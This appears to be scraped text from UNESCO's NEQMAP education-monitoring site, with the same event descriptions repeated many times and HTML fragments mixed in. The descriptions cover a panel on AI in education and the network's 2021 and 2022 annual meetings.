As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on 